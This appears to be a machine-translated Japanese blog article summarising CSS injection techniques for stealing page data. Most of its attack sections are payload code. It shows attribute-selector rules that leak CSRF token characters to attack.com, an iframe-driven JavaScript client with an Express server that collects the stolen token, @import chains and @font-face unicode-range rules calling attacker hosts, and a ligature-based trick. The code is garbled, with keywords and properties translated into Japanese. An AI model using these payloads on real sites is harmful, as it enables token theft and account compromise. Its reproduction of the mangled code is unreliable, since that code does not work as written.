CSSインジェクションの知識の要約

CSSインジェクションの知識の要約

最近のブラウザでは、CSS 内で JavaScript を実行することはできなくなりました。以前は、CSS インジェクションによって JavaScript プロトコルが使用され、url() および expression() 内で JavaScript コードが実行され、XSS が実現されていました。しかし、CSS インジェクションは依然としてデータの盗難に非常に有効です。以下で 1 つずつ分析してみましょう。

CSSインジェクションはタグ属性データを盗む

CSS では属性セレクターを使用して、さまざまな属性に基づいてタグを選択できます。たとえば、次の CSS は、a 属性を持ち、その値が abc である p タグを選択します。

<style>p[a="abc"]{ 色: 赤; }
 <pa="abc">こんにちは世界</p>

属性セレクターは、XXX で始まる、XXX で終わるなど、値の特定の特性と一致させることもできます。

上記のプロパティを使用すると、ページ タグ属性内のデータを盗むことができます。たとえば、csrfToken が特定の文字で始まる場合、攻撃者は url() を通じて通知を受け、csrfToken の最初の数字を盗むことができます。

<スタイル>
入力[値^="0"] {
    背景: url(http://attack.com/0);
}
入力[値^="1"] {
    背景: url(http://attack.com/1);
}
入力[値^="2"] {
    背景: url(http://attack.com/2);
}
...
入力[値^="Y"] {
    背景: url(http://attack.com/Y);
}
入力[値^="Z"] {
    背景: url(http://attack.com/Z);
}
</スタイル>

<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

最初はZ、次に2番目を盗む

<スタイル>
入力[値^="Z0"] {
    背景: url(http://attack.com/0);
}
...
入力[値^="ZZ"] {
    背景: url(http://attack.com/Z);
}
</スタイル>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

隠された謎を解く

もちろん、まだ問題が残っています。タグtype=hiddenの場合、ブラウザはbackground設定を許可しないため、サーバーへの url() リクエストをトリガーできません。

1 つの解決策は、~ CSS 兄弟セレクターを使用して、後続のすべての兄弟ノードの背景を設定することです。

入力[値^="Z"] ~*{
    背景: url(http://attack.com/Z);
}

バッチ実装

もちろん、桁数が短く、可能性が少ない場合はすべてをリストできますが、通常は数が多すぎるため、バッチで取得するためのトリックを使用する必要があります。

CSS インジェクションの対象となる Web サイトが次のとおりであり、入力タグ内の csrfToken 値を盗むことが目的であると仮定します。

<!DOCTYPE html>
<html>
<ヘッド>
    <title>CSS インジェクション</title>
</head>
<本文>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<入力タイプ="" 名前="">
<スタイル><?php echo $_GET['css']?></スタイル>
</本文>
</html>

iframe付き

CSS インジェクションのある Web サイトのレスポンス ヘッダーがX-Frame-Optionsによって保護されていない場合、悪意のあるページを作成し、 js を使用して脆弱な Web サイトを含む iframe を作成し、 CSS インジェクションを使用して csrfToken 値を取得し、 url()を介してサーバーに送信できます。 サーバーはフロントエンド js に、2 番目の値を盗むための iframe の作成を継続するように指示し、すべてが読み取られるまで上記の操作を継続します。もちろん、そのためには、脆弱な Web サイトのコンテンツが要求されるたびに変更されないことが必要です。

ここで問題があります。サーバーはどのようにしてフロントエンド js に CSS を構築するよう指示するのでしょうか? 上記の例のように、盗まれた最初のビットが Z の場合、2 番目のペイロードは Z で始まる必要があります。

以下のペイロードは https://medium.com/bugbountywriteup/exfiltrate-via-css-injection-4e999f63097d から取得されています。

アイデアとしては、フロントエンド js が setTimeout を使用して定期的にサーバーに要求し、サーバーが CSS を挿入して取得したトークンを返すというものです。

<html>
    <スタイル>
        #フレーム{
            可視性: 非表示;
        }
    </スタイル>
    <本文>
        <div id="現在"></div>
        <div id="次の時間までの時間"></div>
        <div id="フレーム"></div>
    </本文>
    <スクリプト>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        文字 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        既知 = "";

        関数 test_char(既知の文字) {
            // すべてのフレームを削除します
            document.getElementById("フレーム").innerHTML = "";

            // 既知の文字に文字を追加します
            css = build_css(chars.map(v => known + v));

            // 攻撃を試すために iframe を作成します。`X-Frame-Options` がこれをブロックしている場合は、新しいタブを使用できます...
            フレーム = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; // こっそりこっそりしなきゃ
            document.getElementById("frames").appendChild(frame);

            // iframe が読み込まれた後 1 秒以内に、応答があったかどうかを確認します
            setTimeout(関数() {
                var oReq = 新しい XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        関数build_css(値) {
            css_payload = "";
            for(var value in values) {
                css_payload += "入力[値^=\""
                    + 値[値]
                    + "\"]~*{背景画像:url(" 
                    + サーバー受信トークン URL
                    + 値[値]
                    + ")%3B}"; //URL ではセミコロンが意味を持つため、実際のセミコロンは使用できません
            }
            css_payload を返します。
        }

        関数known_listener() {
            document.getElementById("current").innerHTML = "現在のトークン: " + this.responseText;
            if(既知 != this.responseText) {
                既知 = this.responseText;
                test_char(既知の文字数);
            } それ以外 {
                既知 = this.responseText;
                alert("CSRF トークンは: " + 既知です);
            }
        }

        test_char("", 文字);
    </スクリプト>
</html>

サーバー コードは、ペイロードに合わせて私が作成しました。

var express = require('express');
var app = express();
var パス = require('パス');
var トークン = "";

app.get('/receive/:token', 関数(req, res) {
    トークン = req.params.token;
    console.log(トークン)
    res.send('ok');
});

app.get('/return', 関数(req, res){
    res.send(トークン);
});

app.get('/client.html', 関数(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, 関数() {
    var ホスト = server.address().address
    var ポート = server.address().port
    console.log("http://%s:%s でリッスンしているサンプル アプリ"、ホスト、ポート)
})

別の方法としては、サーバー経由でトークンを Cookie に書き込み、Cookie が変更されたかどうかを定期的に確認する方法があります。

また、一部のマスターは、WebSocket を使用してよりエレガントに実装していることもわかりました。出典: github.com

iframeなし

https://github.com/dxa4481/cssInjection iframe を使わないインジェクションの方法を紹介します。

原理も非常に単純です。脆弱なページを導入するために iframe を使用することはできないため、 window.openを通じて新しいウィンドウを継続的に開くことができ、上記と同様の効果が得られます。もちろん、この方法ではユーザーのクリック動作を乗っ取る必要があります。そうしないと、ブラウザは新しいウィンドウを開くことを禁止します。

この記事では、バックグラウンド サーバーを使用せずに、 service workersを使用してクライアント要求をインターセプトし、取得したトークン値をローカルのローカル ストレージに保存するソリューションも提案しています。

@輸入

Chrome の @import 機能を使用したこの方法は、この記事で提案されています: https://medium.com/@d0nut/better-exfiltrate-via-html-injection-31c72a2dae8bこの方法の利点は、ページを更新せずにすべてのトークンを取得でき、iframe が不要であることです。ただし、欠点は Chrome でのみ使用でき、その特性上、スタイル タグ ヘッダーに挿入する必要があることです。

外部スタイルを導入するための一般的な<link>タグに加えて、 @importを通じて CSS を導入することもできます。

url をインポートします(http://style.com/css.css);

ただし、@import はスタイルシート ヘッダーの最初に宣言する必要があり、セミコロンが必要です。 @importによって導入されたスタイルシートは、対応するインライン スタイルを直接置き換えます。

上記の効果を実装すると、Chrome は @import 外部スタイルシートが返されるたびにページの他のスタイルシートを再計算します。この機能を使用して @import をネストし、1 回のリクエストでトークン全体を取得できます。

これは彼の記事からの写真ですが、非常に鮮明です。

この図は、盗まれるデータの長さが3であると仮定しています。最初に挿入されるCSSコンテンツは@import url(http://attacker.com/staging);で、これは次のコードを返します。

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

このとき、ページ@import url(http://attacker.com/polling?len=0);スタイルシートを取得する必要があり、トークンを盗むペイロードを返します。

@import url(http://attacker.com/polling?len=1);盗まれたデータがサーバーに送信された後に応答します。応答は盗まれたデータの 2 番目のビットです。

この記事では、この脆弱性を悪用するための非常に簡単に使用できるオープンソース ツールも紹介しています。

https://github.com/d0nutptr/sic

タグコンテンツデータを盗む

タグコンテンツデータの窃取は比較的厄介です。昨年のxctf決勝でもこれに関する問題が出ました。

ユニコード範囲を使用して推測する

https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html の考え方に従えば、 @font-faceのフォント記述unicode-rangeを指定して、特定の文字が存在する場合にサーバーに通知することができます。

<スタイル>
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?A); /* 取得済み */
 ユニコード範囲:U+0041;
}
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?B); /* フェッチも */
 ユニコード範囲:U+0042;
}
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?C); /* 取得されませんでした */
 ユニコード範囲:U+0043;
}
#機密情報{
 フォントファミリ:poc;
}
</スタイル>
<p id="sensitive-information">AB</p>

もちろん、これはどの文字が含まれているかを示すだけであり、文字数が多すぎると意味がなくなります。しかし、それは良いアイデアであり、特定の状況では役立つかもしれません。

合字の使用

これは、昨年 xctf マスターが問題を解決するために使用した方法です。

簡単に言うと、合字は複数の文字の組み合わせです。詳細については、Baidu で検索してください。ここでは、すべての文字の幅を 0 に設定し、合字フラグの幅を非常に大きく設定したフォントを独自に作成できます。このとき、指定したタグの内容にflag列が表示されると、幅によってスクロールバーが表示されます。スクロールバーが表示されたら、url() を使用してサーバーに要求します。

この方法では、逆方向に推測し続けることができます。フォントとペイロードの作成の詳細については、こちらを参照してください。

要約する

CSSインジェクションの知識のまとめはこれで終わりです。CSSインジェクションに関するより関連性の高いコンテンツについては、123WORDPRESS.COMの過去の記事を検索するか、以下の関連記事を引き続き閲覧してください。今後とも123WORDPRESS.COMをよろしくお願いいたします。

<<:  高品質なコードを書く Web フロントエンド開発実践書の抜粋

>>:  Apache をインストールした後、サービスを開始できません (サービスを開始するとエラー コード 1 が表示されます)

推薦する

MySQL 8.0.3 RCがリリースされようとしています。変更点を見てみましょう。

MySQL 8.0.3がリリースされます。新機能を見てみましょうMySQL 8.0.3 は RC ...

ウェブデザインの教育または学習プログラム

セクションコース内容営業時間1 ウェブデザインの概要2 2 HTML 基本タグとフォーマットタグ 2...

CSS スタイルを使用して表のフォントを垂直中央に配置する方法

CSS スタイルを使用して表内のフォントを垂直方向に中央揃えする方法は次のとおりです。下図のようなカ...

UbuntuにMySQLデータベースをインストールする方法

Ubuntu は、Linux をベースにした無料のオープンソース デスクトップ PC オペレーティン...

Dockerリポジトリの一般的なコマンドの詳細な説明

ログイン dockerログインdocker login コマンドを実行し、ユーザー名、パスワード、メ...

JSの矢印関数におけるこのポイントの詳細な説明

矢印関数は ES6 の新機能です。独自の this はありません。その this ポイントは外部のコ...

Vue 初心者ガイド: 環境の構築と開始方法

目次初期ビューVue開発環境の構築Vueインスタンスの作成Vue テンプレート構文Vue データバイ...

要素テーブルの多層ネスト表示の実践

複数の注文を含むリストが必要です。各注文は一意にすることも、複数の注文を結合することもできます。各注...

JavaScript スクリプトが実行されるタイミングの詳細な説明

JavaScript スクリプトは HTML 内のどこにでも埋め込むことができますが、いつ呼び出され...

MYSQL メタデータ ロック (MDL ロック) MDL ロックの問題分析

1. はじめにMYSQL の MDL ロックは常に頭痛の種でした。ロックについて話すとき、通常は I...

CSSセレクターでの正規表現の使用

はい、CSS にも正規表現があります (アーメン) CSS で目立つための 2 つの強力なツール: ...

Jenkins初心者のためのDockerデプロイメントチュートリアルの詳細な説明

この記事では、docker 経由で Jenkins+Maven+SVN+Tomcat をデプロイし、...

CSSはスクロールを許可しながらスクロールバーを非表示にするためにオーバーフローを設定します

CSS は、スクロールを許可しながらスクロール バーを非表示にするために Overflow を設定し...

Dockerコンテナを使用してホストネットワークにアクセスする方法

最近、nginx をリバース プロキシとして使用し、docker で nginx を実行するシステム...

メニューノードのすべての子ノードを再帰的に検索する MySQL メソッド

背景プロジェクトにはメニューノードのすべてのノードをチェックする要件があります。オンラインでチェック...